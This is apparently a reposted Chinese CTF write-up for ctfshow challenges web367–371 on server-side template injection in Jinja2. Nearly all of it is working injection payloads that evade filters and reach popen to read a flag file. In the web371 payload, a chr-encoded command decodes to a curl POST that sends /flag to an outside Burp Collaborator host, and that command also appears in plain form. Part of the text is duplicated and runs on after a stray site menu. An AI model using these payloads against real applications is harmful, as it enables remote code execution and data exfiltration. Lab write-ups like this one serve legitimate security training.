https://i-blog.csdnimg.cn/img_convert/80c1b1a1500777bae76b9ce6ecdb36a1.png
与上题相同步调即可获取flag
web367
https://i-blog.csdnimg.cn/img_convert/4ab6edc8689714f03e619c66e27a2f8a.png与上题相同步调即可获取flag web 368
过滤了以下字符:
{{}} ==> {%print()%}代替
?name={%print(()|attr(request.values.p1)|attr(request.values.p2)|attr(request.values.p3)()|attr(request.values.p4)(132)|attr(request.values.p5)|attr(request.values.p6)|attr(request.values.p7)(request.values.cmd1)(request.values.cmd2)|attr(request.values.cmd3)())%}&p1=__class__&p2=__base__&p3=__subclasses__&p4=__getitem__&p5=__init__&p6=__globals__&p7=__getitem__&cmd1=popen&cmd2=cat+/flag&cmd3=read
https://i-blog.csdnimg.cn/img_convert/4ae59ca153176881618dd706314f0d9c.pngweb369
又过滤了request,上面的方法都不能用了
End Payload:
?name=
{% set a=(()|select|string|list).pop(24) %}
{% set globals=(a,a,dict(globals=1)|join,a,a)|join %}
{% set init=(a,a,dict(init=1)|join,a,a)|join %}
{% set builtins=(a,a,dict(builtins=1)|join,a,a)|join %}
{% set a=(lipsum|attr(globals)).get(builtins) %}
{% set chr=a.chr %}
{% print a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read() %}
web 370
End Payload:
?name=
{%set zero=(self|int)%}
{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set ten=dict(cccccccccc=a)|join|count%}
{%set eleven=(three*three%2Btwo)%}
{%set twelve=(three*three%2Bthree)%}
{%set oneThreeTwo=(eleven*twelve)%}
{%set oneZeroEight=(ten*ten%2Beight)%}
{%set oneOneFive=(ten*eleven%2Bfive)%}
{%set c=dict(c=aa)|reverse|first%}
{%set bfh=self|string|urlencode|first%}
{%set bfhc=bfh~c %}
{%set space=bfhc%((three~two)|int)%}
{%set slas=bfhc%((four~seven)|int)%}
{%set flag=dict(flag=a)|join%}
{%set popen=dict(po=a,pen=b)|join%}
{%set command=(dict(tac=a)|join,space,slas,flag)|join()%}
{%set read=dict(read=a)|join%}
{%set pop=dict(po=a,p=a)|join%}
{%set xia=(()|select|string|list)|attr(pop)(three*eight)%}
{%set cla=(xia,xia,dict(class=a)|join,xia,xia)|join()%}
{%set bas=(xia,xia,dict(base=a)|join,xia,xia)|join()%}
{%set subclass=(xia,xia,dict(subclasses=a)|join,xia,xia)|join()%}
{%set ini=(xia,xia,dict(init=a)|join,xia,xia)|join()%}
{%set glob=(xia,xia,dict(globals=a)|join,xia,xia)|join()%}
{%set geti=(xia,xia,dict(getitem=a)|join,xia,xia)|join()%}
{%print(()|attr(cla)|attr(bas)|attr(subclass)()|attr(geti)(oneThreeTwo)|attr(ini)|attr(glob)|attr(geti)(popen)(command)|attr(read)())%}
web 371
过滤了print
End Payload:
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set ohs=(dict(o=a,s=a)|join)%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=chr(99)%2bchr(117)%2bchr(114)%2bchr(108)%2bchr(32)%2bchr(45)%2bchr(88)%2bchr(32)%2bchr(80)%2bchr(79)%2bchr(83)%2bchr(84)%2bchr(32)%2bchr(45)%2bchr(70)%2bchr(32)%2bchr(120)%2bchr(120)%2bchr(61)%2bchr(64)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(32)%2bchr(104)%2bchr(116)%2bchr(116)%2bchr(112)%2bchr(58)%2bchr(47)%2bchr(47)%2bchr(108)%2bchr(53)%2bchr(114)%2bchr(118)%2bchr(99)%2bchr(117)%2bchr(51)%2bchr(118)%2bchr(50)%2bchr(114)%2bchr(50)%2bchr(109)%2bchr(97)%2bchr(98)%2bchr(50)%2bchr(117)%2bchr(102)%2bchr(106)%2bchr(102)%2bchr(111)%2bchr(118)%2bchr(109)%2bchr(100)%2bchr(116)%2bchr(113)%2bchr(107)%2bchr(119)%2bchr(99)%2bchr(107)%2bchr(49)%2bchr(46)%2bchr(98)%2bchr(117)%2bchr(114)%2bchr(112)%2bchr(99)%2bchr(111)%2bchr(108)%2bchr(108)%2bchr(97)%2bchr(98)%2bchr(111)%2bchr(114)%2bchr(97)%2bchr(116)%2bchr(111)%2bchr(114)%2bchr(46)%2bchr(110)%2bchr(101)%2bchr(116)%}
{% if ((lipsum|attr(glo)).get(ohs).popen(cmd))%}
abc
{% endif %}
curl -X POST -F xx=@/flag http://l5rvcu3v2r2mab2ufjfovmdtqkwck1.burpcollaborator.net
https://i-blog.csdnimg.cn/img_convert/bb21ab02b0748ad64015e7095d5e092d.png### XXE 区块链安全
黑盒测试
其他
嵌入式
框架复现
CMS
中期测评
sqli-labs
thinkphp专题
组件漏洞
Laravel专题
Yii专题
终极稽核
权限维持
大赛原题
常用姿势
税务交锋
java反序列化
内网渗出
}
{%set bfhc=bfh~c %}
{%set space=bfhc%((three~two)|int)%}
{%set slas=bfhc%((four~seven)|int)%}
{%set flag=dict(flag=a)|join%}
{%set popen=dict(po=a,pen=b)|join%}
{%set command=(dict(tac=a)|join,space,slas,flag)|join()%}
{%set read=dict(read=a)|join%}
{%set pop=dict(po=a,p=a)|join%}
{%set xia=(()|select|string|list)|attr(pop)(three*eight)%}
{%set cla=(xia,xia,dict(class=a)|join,xia,xia)|join()%}
{%set bas=(xia,xia,dict(base=a)|join,xia,xia)|join()%}
{%set subclass=(xia,xia,dict(subclasses=a)|join,xia,xia)|join()%}
{%set ini=(xia,xia,dict(init=a)|join,xia,xia)|join()%}
{%set glob=(xia,xia,dict(globals=a)|join,xia,xia)|join()%}
{%set geti=(xia,xia,dict(getitem=a)|join,xia,xia)|join()%}
{%print(()|attr(cla)|attr(bas)|attr(subclass)()|attr(geti)(oneThreeTwo)|attr(ini)|attr(glob)|attr(geti)(popen)(command)|attr(read)())%}
#### web 371>过滤了print```phpEnd Payload:
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set ohs=(dict(o=a,s=a)|join)%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=chr(99)%2bchr(117)%2bchr(114)%2bchr(108)%2bchr(32)%2bchr(45)%2bchr(88)%2bchr(32)%2bchr(80)%2bchr(79)%2bchr(83)%2bchr(84)%2bchr(32)%2bchr(45)%2bchr(70)%2bchr(32)%2bchr(120)%2bchr(120)%2bchr(61)%2bchr(64)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(32)%2bchr(104)%2bchr(116)%2bchr(116)%2bchr(112)%2bchr(58)%2bchr(47)%2bchr(47)%2bchr(108)%2bchr(53)%2bchr(114)%2bchr(118)%2bchr(99)%2bchr(117)%2bchr(51)%2bchr(118)%2bchr(50)%2bchr(114)%2bchr(50)%2bchr(109)%2bchr(97)%2bchr(98)%2bchr(50)%2bchr(117)%2bchr(102)%2bchr(106)%2bchr(102)%2bchr(111)%2bchr(118)%2bchr(109)%2bchr(100)%2bchr(116)%2bchr(113)%2bchr(107)%2bchr(119)%2bchr(99)%2bchr(107)%2bchr(49)%2bchr(46)%2bchr(98)%2bchr(117)%2bchr(114)%2bchr(112)%2bchr(99)%2bchr(111)%2bchr(108)%2bchr(108)%2bchr(97)%2bchr(98)%2bchr(111)%2bchr(114)%2bchr(97)%2bchr(116)%2bchr(111)%2bchr(114)%2bchr(46)%2bchr(110)%2bchr(101)%2bchr(116)%}
{% if ((lipsum|attr(glo)).get(ohs).popen(cmd))%}
abc
{% endif %}
curl -X POST -F xx=@/flag http://l5rvcu3v2r2mab2ufjfovmdtqkwck1.burpcollaborator.net
https://i-blog.csdnimg.cn/img_convert/bb21ab02b0748ad64015e7095d5e092d.png### XXE 区块链安全
黑盒测试
其他
嵌入式
框架复现
CMS
中期测评
sqli-labs
thinkphp专题
组件漏洞
Laravel专题
Yii专题
终极稽核
权限维持
大赛原题
常用姿势
税务交锋
java反序列化
内网渗出
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页:
[1]